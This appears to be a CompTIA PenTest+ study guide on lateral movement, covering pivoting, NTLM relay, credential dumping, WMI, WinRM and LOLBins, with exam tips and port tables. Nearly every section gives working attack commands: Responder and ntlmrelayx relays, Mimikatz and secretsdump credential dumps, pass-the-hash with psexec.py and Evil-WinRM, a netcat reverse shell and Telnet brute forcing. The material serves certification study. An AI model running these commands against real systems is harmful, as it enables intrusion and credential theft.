COMPTIA PENTEST+ · DOMAIN 5 — POST-EXPLOITATION

Lateral Movement Throughout the Environment

The first box you own is rarely the prize. Lateral movement is the loop you run *after* initial access — pivot into a new segment, enumerate it, capture more credentials, execute on the next host, and repeat until you reach a domain controller or crown-jewel data. It isn't one technique; it's a workflow, and the exam tests whether you can pick the right move for the segment, protocol, and credential material in front of you.

> **Maps to Objective 5.2** — "Given a scenario, perform tasks to move laterally throughout the environment." Sub-topics covered below: attack/relay creation, pivoting, enumeration (service discovery, network-traffic discovery, additional credential capture, credential dumping, string searches), the service-discovery protocol list, WMI, WinRM, and the tool set (LOLBins + offensive).
>
> Knowledge-cutoff caveat: verify exact objective wording against CompTIA's current PT0-003 objectives PDF — the technique/tool list here matches the published bullets.

THE LATERAL-MOVEMENT LOOP (THIS DOMAIN'S WHOLE THESIS)

- **INITIAL ACCESS**
  You own one host — usually low-value, often in a DMZ.
- **PIVOT**
  Route through it to reach segments you can't touch directly — **sshuttle · Proxychains · Metasploit route**.
- **ENUMERATE**
  Map hosts & services, sniff traffic, capture & dump creds, grep for secrets — **Nmap · CrackMapExec · Responder · Mimikatz · findstr**.
- **EXECUTE ON NEXT HOST**
  Use found creds/hashes via **PsExec · WMI · WinRM · pass-the-hash**.
- **REPEAT & ESCALATE**
  New creds → new segments. Loop until privilege is high enough.
- **DOMAIN COMPROMISE**
  Domain Admin / DC / NTDS.dit — the crown jewels.

---

00 What lateral movement is

Lateral movement begins after initial access and means going *deeper*, not getting in. Enterprises segment their networks (VLANs/subnets separating workstations, servers, and critical infrastructure), so reaching high-value assets means crossing boundaries using the trust of hosts you already control. Treat it as a repeating cycle — **pivot → enumerate → capture credentials → execute → repeat** — rather than a one-shot exploit.

◈ EXAM TELL

5.2 questions drop you **already inside** and ask "what next?" Anchor on three things in the stem: **which segment/host you hold, which protocol/port is exposed, and what credential material you have** (plaintext, NTLM hash, Kerberos ticket, SSH key). The right tool falls out of those three.

---

01 Pivoting

Pivoting uses a **compromised host as an intermediary** to route your traffic into segments you can't reach directly. The classic setup: your attack box can't see `192.168.10.0/24`, but the host you own at `10.0.0.5` has interfaces on *both* networks. Route through it and the internal subnet becomes reachable — segmentation bypassed with legitimate access.

THREE FLAVORS

- **Network-level** — port forwarding / tunneling (SSH `-L`, `sshuttle`).
- **Application-level** — a framework adds a route through an existing session (Metasploit `route add` over Meterpreter).
- **Proxy-based** — `Proxychains` forces any TCP tool through a SOCKS/HTTP proxy chain, so even tools without proxy support get pivoted.

▶ EXAMPLE · FULL-SUBNET PIVOT WITH SSHUTTLE

```
$ sshuttle -r user@10.0.0.5 192.168.10.0/24
# now run tools locally as if you were on the internal LAN
$ nmap -sT 192.168.10.20
```

What happens: sshuttle builds a VPN-like tunnel over SSH to the pivot host and transparently routes *all* TCP for 192.168.10.0/24 through it — no per-port forwarding to manage.

▶ EXAMPLE · SOCKS PROXY + PROXYCHAINS + NMAP

```
$ ssh -D 1080 user@10.0.0.5        # dynamic forward → local SOCKS proxy on 1080
$ proxychains nmap -sT -Pn 192.168.10.0/24
```

What happens: `ssh -D` opens a SOCKS proxy through the pivot; Proxychains wraps Nmap so its TCP connects egress through that proxy. Use `-sT` (full connect) — proxied scans can't do raw SYN.

◈ EXAM TELL

"You compromised a **DMZ host**; how do you reach the internal network?" ⇒ pivoting. Distinguish **network pivoting** (sshuttle/SSH tunnels) from **application-level** (Metasploit `route add`). **sshuttle** = full-subnet over SSH; **Proxychains** = force a non-proxy-aware tool through a SOCKS proxy (usually from `ssh -D`).

sshuttle → full-subnet SSH pivot · **Proxychains** → force tool through SOCKS · **ssh -D 1080** → SOCKS proxy · **route add** → Metasploit pivot · segmentation bypass

---

02 Relay creation

A relay attack **intercepts a live authentication and forwards it to a different target** — you gain authenticated access *without ever knowing or cracking the password*. It abuses NTLM's

challenge-response: you sit in the middle, and the victim's response to the server's challenge is replayed by you against a second system.

THE STANDARD SMB-RELAY CHAIN

- **Poison** — `Responder` answers **LLMNR/NBT-NS** name-resolution queries, luring victims into authenticating to you.
- **Relay** — Impacket's `ntlmrelayx` forwards that authentication to a chosen target.
- **Exploit** — on success: a shell, a SAM dump, or command execution.

▶ EXAMPLE · RESPONDER + NTLMRELAYX

```
# responder -I eth0                     # poison LLMNR/NBT-NS on the segment
# ntlmrelayx.py -tf targets.txt -smb2support --dump-sam
# a victim resolves a bad name → auths to us → we relay it to a target → dump SAM
```

What happens: Responder harvests the authentication attempt; ntlmrelayx passes that live auth to hosts in `targets.txt`. Where it lands, you get access as the victim — no hash cracking involved.

⚠ PREREQUISITE — MEMORIZE THIS

SMB relay only works when **SMB signing is disabled / not enforced**. If signing is required, the relayed session's signature can't be reproduced and the relay fails.

LDAP relay: relay NTLM to Active Directory's LDAP instead of SMB to *create accounts*, *modify group memberships*, or grant privileges to an attacker-controlled account.

◈ EXAM TELL · RELAY VS. PASS-THE-HASH (THE CLASSIC CONFUSABLE)

Relay forwards a *live* authentication in real time; pass-the-hash reuses an *already-captured* hash. If the stem features **Responder + ntlmrelayx** and "no cracking," it's relay. If it features a hash you already hold being replayed with PsExec/Evil-WinRM, it's PtH. And "relay fails / is mitigated" almost always means **SMB signing is enforced**.

`Responder → LLMNR/NBT-NS poison` `ntlmrelayx → the relay (Impacket)` `SMB signing disabled → prereq` `no password cracking` `LDAP relay → AD object changes`

---

03 Enumeration for lateral movement — the five kinds

Enumeration here is **continuous**, not a one-time phase. Every new host restarts the questions: what's alive, what's exposed, what creds can I capture or dump, what secrets are sitting in files. The objective breaks it into five activities.

1 · SERVICE DISCOVERY

Find live hosts and exposed services in a new segment. Nmap through the pivot, banner-grabbing, and `CrackMapExec` to sweep SMB/WinRM/LDAP across whole subnets at once. Each service is a potential path (open RDP → PtH/brute; open SMB → shares/relay; open LDAP → AD structure).

▶ EXAMPLE · SWEEP A SUBNET'S SMB WITH CRACKMAPEXEC

```
$ crackmapexec smb 192.168.10.0/24 -u svc_backup -p 'P@ss' --shares
```

What happens: CME tests those creds against every host's SMB and lists readable/writable shares — service discovery and credential validation in one pass.

2 · NETWORK-TRAFFIC DISCOVERY

Capture and read packets on the compromised host's interface. Legacy/cleartext protocols hand you credentials directly; auth flows reveal where privileged accounts are used.

▶ EXAMPLE · GRAB CLEARTEXT CREDS OFF THE WIRE

```
# tcpdump -i eth0 -A 'tcp port 21 or tcp port 23 or tcp port 80'
# FTP/Telnet/HTTP logins ride in plaintext — usernames and passwords appear in -A output
```

What happens: `-A` prints packet payloads as ASCII; on a busy segment a short capture can yield service-account and domain creds with zero active exploitation.

3 · ADDITIONAL CREDENTIAL CAPTURE (INTERCEPT IN TRANSIT)

Grow the credential inventory beyond initial access: `Responder` (LLMNR/NBT-NS poisoning) to harvest NTLM hashes, internal phishing, keylogging via a post-ex framework, MITM tools. First-access creds are often low-priv; capturing a domain admin changes everything.

4 · CREDENTIAL DUMPING (EXTRACT FROM STORAGE)

Pull stored authentication material off a host — ready-to-use, no network interception needed.

- **Windows:** `LSASS` memory (plaintext/NTLM/tickets, via Mimikatz), `SAM` (local hashes), `NTDS.dit` (all domain hashes, on a DC), `LSA secrets` & cached domain creds.
- **Linux:** `/etc/shadow` (hashes, needs root), `/etc/passwd`, process memory in `/proc`.

▶ EXAMPLE · REMOTE DUMP OVER SMB WITH IMPACKET

```
$ secretsdump.py DOMAIN/admin:'Pass'@192.168.10.20
# pulls SAM + LSA secrets remotely; against a DC it can dump NTDS.dit (all domain hashes)
```

What happens: secretsdump authenticates over SMB and extracts stored hashes without dropping a tool on disk — the remote counterpart to running Mimikatz locally.

◈ EXAM TELL · CAPTURE VS. DUMP

Two different verbs the exam loves to contrast: **capture = intercepting auth in transit** (Responder, sniffing); **dump = extracting stored material** (Mimikatz on LSASS, secretsdump, NTDS.dit). Match the tool to the verb in the stem.

5 · STRING SEARCHES

Grep the box for secrets admins left in the clear — passwords in scripts/configs, API keys, connection strings, SSH private keys.

▶ EXAMPLE · HUNT HARDCODED CREDS

```
# Windows
C:\> findstr /si password *.txt *.xml *.config *.ini
# Linux
$ grep -rniE 'password|api[_-]?key|secret' /var/www /opt 2>/dev/null
```

What happens: `/s` recurses, `/i` is case-insensitive; you're surfacing plaintext secrets that unlock databases, cloud, and other hosts. `strings.exe` does the binary/memory-dump equivalent.

CrackMapExec → subnet sweep | **Responder** → capture (poison) | **Mimikatz / secretsdump** → dump | **LSASS · SAM · NTDS.dit** | **findstr /si password** | enumeration is ongoing

04 Service discovery — protocol by protocol

Discovery isn't just "port open" — it's what each protocol *reveals and enables*. Ports are heavily tested, so the number and its lateral-movement value should come as a pair. (A consolidated ports table is below.)

SMB / file shares `445 (139 legacy)`

Highest-value Windows target: enumerate shares, **relay**, **PsExec**, remote **secretsdump**, and **pass-the-hash**. Watch for **EternalBlue (MS17-010)** and SMBv1.

```
crackmapexec smb 10.0.0.0/24 -u u -H <NTLM> --sam  # PtH + dump
```

RDP / VNC `3389 · 5900-5901`

Full graphical access. RDP supports PtH via restricted-admin; **BlueKeep (CVE-2019-0708)** is pre-auth RCE. VNC often ships with weak/blank passwords; watch for missing NLA.

```
xfreerdp /u:admin /pth:<NTLM> /v:10.0.0.20
```

SSH `22`

Linux/network-device workhorse. **Stolen private keys** = passwordless auth; tunneling/**sshuttle** = pivoting; password reuse is rife. Loot `~/.ssh/id_rsa` and `known_hosts`.

```
ssh -i stolen_id_rsa user@10.0.0.30
```

LDAP `389 · 636 (LDAPS)`

The AD query protocol. Enumerate all users/groups/computers, spot privileged & Kerberoastable service accounts, feed **BloodHound**. NTLM-relay-to-LDAP creates/modifies AD objects.

```
ldapsearch -x -H ldap://dc -b "dc=corp,dc=local" "(objectClass=user)"
```

RPC / DCOM `135 + dynamic`

Endpoint mapper on 135; transport for many Windows services incl. **WMI**. **DCOM** objects (`MMC20.Application`, ShellWindows) give stealthy, often fileless RCE with admin creds.

```
dcomexec.py -object MMC20 DOMAIN/admin:Pass@10.0.0.20
```

FTP `21 (ctrl) · 20 (data)`

Cleartext creds & files. Anonymous access and writable dirs (web-shell upload) are common; FTP-bounce enables scanning through the server.

```
tcpdump -i eth0 -A 'tcp port 21'  # USER/PASS in the clear
```

Telnet `23`

Legacy CLI, all plaintext. Lives on routers/switches/IoT/OT with default creds; sessions can be sniffed or hijacked.

```
hydra -l admin -P rockyou.txt telnet://10.0.0.40
```

HTTP / HTTPS `80 · 443`

Internal admin panels (vCenter, iDRAC/iLO, Jenkins, GitLab) with default creds and direct command exec. HTTP leaks creds/session tokens; session hijack, API abuse, request smuggling.

```
gobuster dir -u http://10.0.0.50 -w common.txt
```

LPD (print) `515`

Legacy Unix print spooling — often unmonitored (low-detection path). Misconfigs allow rogue job submission or info-gathering; printers frequently unauthenticated.

```
# overlooked host → quiet foothold / recon
```

JetDirect `9100`

HP raw printing, usually no auth. Pull printer config (network settings, cached jobs); firmware RCE and default SNMP strings reveal topology. Printers = neglected pivot points.

```
# port 9100 raw → config/document disclosure
```

Process IDs (PIDs) `host-local`

Enumerate running processes to find EDR/AV to evade, privileged (SYSTEM) processes to target, and injection hosts. Enables **injection**, Meterpreter **migrate**, and process hollowing.

```
tasklist /v   # then meterpreter: migrate <PID>
```

CLEARTEXT CLUSTER — THE CREDENTIAL GOLD MINE

Telnet(23), FTP(21), HTTP(80), LDAP(389), SNMP v1/2c, POP3/IMAP (non-SSL) all transmit creds unencrypted. One capture on a busy segment yields domain and service-account passwords. Their encrypted twins: LDAPS(636), HTTPS(443), SSH(22).

◈ EXAM TELL

Expect straight **port ⇄ protocol ⇄ technique** recall: 445→relay/PsExec/PtH, 3389→RDP/BlueKeep, 22→keys/tunneling, 389→AD/BloodHound, 135→RPC/DCOM/WMI, 9100→JetDirect. If a stem highlights an **overlooked** device, think printer (515/9100). If it stresses **stealth/fileless** remote exec, think DCOM or WMI, not PsExec.

---

05 WMI — stealthy remote execution

Windows Management Instrumentation is a built-in management framework admins use daily — which is exactly why WMI-based attacks blend in. It runs over **RPC/DCOM (port 135 + dynamic)** and can execute commands, query the system, and even persist.

WHY IT'S THE STEALTHY PICK

Uses legitimate Windows infrastructure (no tool to drop), rides normal RPC/DCOM traffic, **creates no new service** and can be entirely **fileless**, and many tools don't alert on it by default. Remote exec goes through `Win32_Process.Create()`; it requires **admin credentials** on the target.

▶ EXAMPLE · RUN A COMMAND ON A REMOTE HOST, TWO WAYS

```
# native LOLBin
C:\> wmic /node:10.0.0.20 /user:admin /password:Pass process call create "cmd /c whoami > C:\o.txt"
# Impacket — semi-interactive, still no service installed
$ wmiexec.py DOMAIN/admin:Pass@10.0.0.20
```

What happens: both invoke `Win32_Process.Create` over RPC/DCOM to spawn your command on the target. Unlike PsExec, nothing is registered as a service — far fewer artifacts.

Persistence angle: WMI **event subscriptions** fire code on triggers (startup, logon, file creation) and survive reboots — an advanced, fileless persistence mechanism (ties back to Domain 5.1).

◈ EXAM TELL

"Execute remotely **without creating a service**" or "**stealthiest** remote execution" ⇒ WMI (`wmiexec.py` / `wmic … process call create`). Transport = **RPC/DCOM, port 135**. "**WMI event subscription**" = persistence. Contrast with PsExec, which *does* create a service and logs Event ID 7045.

`Win32_Process.Create` `wmic.exe (LOLBin)` `wmiexec.py (Impacket)` `RPC/DCOM → port 135`

`fileless · no service` `event subscription → persistence`

---

06 WinRM — interactive PowerShell remoting

Windows Remote Management implements WS-Management and is the transport under **PowerShell Remoting**. It runs over HTTP `5985` or HTTPS `5986` and, unlike WMI, gives you a **full interactive shell** — ideal for complex post-exploitation.

▶ EXAMPLE · NATIVE REMOTING VS. EVIL-WINRM

```
# built-in PowerShell
PS> Enter-PSSession -ComputerName 10.0.0.20 -Credential CORP\admin
PS> Invoke-Command -ComputerName 10.0.0.20 -ScriptBlock { whoami } -Credential CORP\admin
# pentest tool — supports pass-the-hash
$ evil-winrm -i 10.0.0.20 -u admin -H <NTLM_hash>
```

What happens: WinRM opens an interactive PowerShell session on the target. **Evil-WinRM** adds upload/download, in-memory script & .NET assembly loading, and **pass-the-hash** via NTLM — so a dumped hash alone gets you a shell.

WINRM VS. WMI — KEEP THEM STRAIGHT

WinRM: WS-Management over HTTP/HTTPS, ports **5985/5986**, **interactive** PowerShell shell, tool = **Evil-WinRM**, stealth medium. **WMI**: RPC/DCOM, port **135**, command execution only (no interactive shell), tool = **wmiexec.py**, stealth high.

◈ EXAM TELL

"Interactive **PowerShell shell** on a remote host" or the tool **Evil-WinRM** ⇒ WinRM on **5985/5986**. It supports **pass-the-hash** (NTLM). If the stem wants command exec with *no interactive session and no service*, that's WMI instead — the two are a favorite contrast pair.

`Evil-WinRM → the tool` `ports 5985 / 5986` `Enter-PSSession / Invoke-Command`

`interactive shell (vs WMI)` `pass-the-hash (NTLM)`

---

07 Tools — LOLBins & offensive

Two buckets. **LOLBins** (Living Off the Land Binaries) are signed, pre-installed Windows tools repurposed for attack — they evade detection because they're *expected* to be there. **Dedicated offensive tools** add exploitation, credential, and pivoting muscle.

LOLBINS — WHAT EACH ONE BUYS YOU

LOLBIN	LATERAL-MOVEMENT USE	EXAMPLE
`netstat`	Active connections + PIDs, routing → pivot targets	`netstat -ano`
`net`	Enumerate shares/users/groups/sessions	`net group "Domain Admins" /domain`
`route`	Reveal reachable subnets (multi-homed hosts)	`route print`
`cmd.exe`	Universal execution env for remote-exec methods	`cmd /c whoami`
`explorer.exe`	Process-injection target; DCOM ShellWindows host	`migrate <explorer PID>`

LOLBIN	LATERAL-MOVEMENT USE	EXAMPLE
`ftp.exe`	Payload download / data exfil (scriptable)	`ftp -s:script.txt`
`mmc.exe`	DCOM RCE via MMC20.Application	`ExecuteShellCommand()`
`rundll32`	Run DLL/script code; whitelist bypass	`rundll32 payload.dll,Entry`
`msbuild`	Fileless C# exec via .csproj; whitelist bypass	`msbuild evil.csproj`
`findstr / strings`	Hunt hardcoded creds in files / binaries	`findstr /si password *.config`

◈ EXAM TELL · LOLBINS

"Bypass application **whitelisting** / execute **fileless**" ⇒ **rundll32** or **msbuild** (trusted, signed). "Discover reachable subnets from the host" ⇒ **route print** / **netstat -r**. "List Domain Admins from a shell" ⇒ **net group "Domain Admins" /domain**.

OFFENSIVE TOOLS — THE HEAVY HITTERS

▶ EXAMPLE · THE CLASSIC PASS-THE-HASH CHAIN (MIMIKATZ → PSEXEC)

```
# 1) dump hashes from memory on a box where you have local admin
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# 2) reuse the domain-admin NTLM hash to execute on another host — no plaintext needed
$ psexec.py -hashes :<NTLM> DOMAIN/admin@10.0.0.20
```

What happens: `sekurlsa::logonpasswords` reads LSASS for plaintext/NTLM/tickets; that hash is replayed by psexec.py over SMB to get SYSTEM on the next host. This single chain is the spine of Windows lateral movement.

▶ EXAMPLE · VALIDATE CREDS ACROSS A WHOLE DOMAIN (CRACKMAPEXEC)

```
$ crackmapexec smb 10.0.0.0/24 -u admin -H <NTLM>      # where is this hash valid?
$ crackmapexec winrm 10.0.0.0/24 -u admin -p 'Pass'   # same, over WinRM
```

What happens: CME sprays one credential/hash across every host and reports where it works — instantly mapping your blast radius across SMB, WinRM, LDAP, MSSQL, and RDP.

▶ EXAMPLE · NETCAT REVERSE SHELL (KNOW THE DIRECTION)

```
attacker$ nc -lvnp 4444              # listener
victim$   nc 10.0.0.1 4444 -e /bin/bash # victim connects OUT to attacker = reverse
```

What happens: the victim dials back to your listener (reverse). A bind shell flips it — the victim listens and *you* connect in. Reverse beats firewalls/NAT that block inbound.

- **Impacket** — Python toolkit for Windows protocols: `psexec.py`, `wmiexec.py`, `smbclient.py`, `secretsdump.py`, `ntlmrelayx.py`, Kerberos `GetTGT/GetST`.
- **Covenant** — .NET C2 managing "Grunts"; SMB peer-to-peer between Grunts pivots through non-internet hosts.
- **Metasploit / Meterpreter** — `route add` (pivot), `migrate` (process hop), `getsystem` (SYSTEM), post modules.
- **PsExec** — SMB remote exec via a *temporary service* (SYSTEM shell) — powerful but noisy (Event ID 7045).
- **Mimikatz** — the credential tool: `sekurlsa::logonpasswords`, `sekurlsa::pth`, `lsadump::sam`, `lsadump::dcsync`, `kerberos::golden/silver`. Blocked by Credential Guard/EDR.

◈ EXAM TELL · "WHICH TOOL?"

Remote exec over SMB → **PsExec / psexec.py** (noisy, makes a service). Stealthy/fileless remote exec → **WMI / wmiexec.py**. Dump memory creds → **Mimikatz**. Test creds subnet-wide → **CrackMapExec**. SSH subnet pivot → **sshuttle**. Force a tool through a pivot → **Proxychains**. Interactive WinRM shell → **Evil-WinRM**. Forged Kerberos TGT (domain persistence) → **Golden Ticket** (needs the `krbtgt` hash); `dcsync` dumps domain hashes by faking DC replication.

sekurlsa::logonpasswords | **dcsync** / Golden Ticket | **psexec.py** → Event ID 7045

CrackMapExec → domain swiss-army | **Covenant** → C2 Grunts | Meterpreter migrate / getsystem

---

→ Ports quick-reference

If you memorize one table for 5.2, make it this one.

PORT	PROTOCOL	LATERAL-MOVEMENT VALUE
22	SSH	Key theft, tunneling, sshuttle pivot
23	Telnet	Cleartext creds; legacy/OT/IoT
20 / 21	FTP	Cleartext creds, anon access, writable dirs
80 / 443	HTTP / HTTPS	Admin panels, default creds, session/API abuse
135	RPC / DCOM	WMI transport; DCOM RCE (MMC20)
139 / 445	SMB	Relay, PsExec, PtH, secretsdump — top target
389 / 636	LDAP / LDAPS	AD enumeration, BloodHound, LDAP relay
515	LPD	Overlooked printer path, low detection
3389	RDP	Graphical access, BlueKeep, PtH
5900+	VNC	Cross-platform GUI, weak/blank passwords
5985 / 5986	WinRM	PowerShell remoting, Evil-WinRM, PtH
9100	JetDirect	Raw printing, no auth, config disclosure

→ Correlation chains (how it strings together)

Scenario questions usually describe one of these five chains. Recognize the shape and the answer is right there.

1 · Reach a segmented network

You own a DMZ host; internal is 10.10.10.0/24.

`compromise DMZ host` → `sshuttle / ssh -D` → `Proxychains + Nmap` → `find SMB/RDP/WinRM`

2 · Get domain creds from the wire

You're on the internal LAN with no creds yet.

`Responder (poison LLMNR)` → `ntlmrelayx (relay)` → `CrackMapExec (test across subnet)`

3 · Pass-the-hash lateral movement

You have local admin on one workstation.

`Mimikatz sekurlsa::logonpasswords` → `grab DA NTLM hash` → `psexec.py -hashes`

4 · Find the path to Domain Admin

You hold domain creds and want the route up.

`BloodHound / SharpHound (LDAP)` → `PowerView (targeted)` → `wmiexec.py (execute, no service)`

5 · Loot then reuse

You have a shell on a dev server.

`findstr /si password` → `CrackMapExec (spray creds)` → `SMB/WinRM/RDP access`

→ Master keyword table

KEYWORD	CONCEPT	EXAM TIP
Pivot	Route through owned host	Answer for reaching segmented networks
sshuttle	SSH subnet pivot	Full subnet, not per-port
Proxychains	Force tool through proxy	Pairs with ssh -D SOCKS proxy
NTLM relay	Forward live auth	Needs SMB signing disabled
Responder	LLMNR/NBT-NS poison	Runs before the relay
ntlmrelayx	Impacket relay	Relays captured auth to targets
Pass-the-hash	Reuse NTLM hash	No plaintext; distinct from relay
Mimikatz	Dump LSASS	sekurlsa::logonpasswords
secretsdump	Remote cred dump	SAM / NTDS.dit / LSA over SMB
dcsync	Fake DC replication	Dumps domain hashes
Golden Ticket	Forged Kerberos TGT	Needs krbtgt hash
CrackMapExec	Domain automation	Swiss-army; test creds subnet-wide
Impacket	Windows protocol tools	psexec/wmiexec/secretsdump/ntlmrelayx
PsExec	SMB remote exec	Temp service → Event ID 7045
WMI / wmiexec	Stealthy remote exec	RPC/DCOM 135; no service; fileless
WinRM / Evil-WinRM	PowerShell remoting	Ports 5985/5986; interactive; PtH
BloodHound	AD attack paths	SharpHound collects via LDAP
DCOM (MMC20)	Remote component exec	Stealthy, often fileless
Netcat	Reverse/bind shells	Reverse = victim connects out
LOLBin	Built-in used maliciously	rundll32/msbuild bypass whitelisting
Cleartext	Unencrypted creds	Telnet/FTP/HTTP/LDAP; sniff them

→ Exam strategy & traps

"Which tool would you use to..."

Exec remotely over SMB → PsExec / psexec.py · **stealthy/no service** → WMI / wmiexec.py

Dump memory creds → Mimikatz · **test creds subnet-wide** → CrackMapExec

Tunnel a whole subnet over SSH → sshuttle · **force a tool through a pivot** → Proxychains

Interactive PowerShell shell → Evil-WinRM (WinRM) · **map AD paths** → BloodHound

"What's required for..."

SMB relay to succeed → SMB signing disabled/not enforced

Pass-the-hash → the target account's NTLM hash (no plaintext)

Pivoting into a segment → an owned host with a foot in both networks

Golden Ticket → the krbtgt account hash

Common traps

TRAP 1 · RELAY VS PTH

Relay forwards a **live** authentication (Responder + ntlmrelayx); pass-the-hash replays a hash you **already have**. Different mechanisms, different stems.

TRAP 2 · WMI VS WINRM

WMI = RPC/DCOM 135, command exec, no service, stealth high. WinRM = 5985/5986, **interactive** shell, Evil-WinRM. If it says "interactive PowerShell," it's WinRM.

TRAP 3 · PSEXEC IS NOISY

PsExec creates a temporary service (Event ID 7045). If a question wants the **stealthy** option, it isn't PsExec — it's WMI or DCOM.

TRAP 4 · REVERSE VS BIND (NETCAT)

Reverse = victim connects OUT to attacker (beats NAT/firewall). Bind = attacker connects IN to a listening victim.

TRAP 5 · CAPTURE VS DUMP

Capture = intercept in transit (Responder/sniff). Dump = extract from storage (Mimikatz/secretsdump/NTDS.dit).

◈ STEALTHIEST-METHOD QUICK ANSWERS

Remote command exec → **WMI** (legit infrastructure). Moving through the network → **LOLBins** (built-in, signed, trusted). Persistence → **WMI event subscriptions**.

Domain 5.2 (Lateral Movement) study guide — same neon series as 5.1, with a worked example on every core concept. Self-contained (no external assets) so it loads instantly and scrolls smoothly. Verify exact objective wording against CompTIA's current PT0-003 objectives PDF.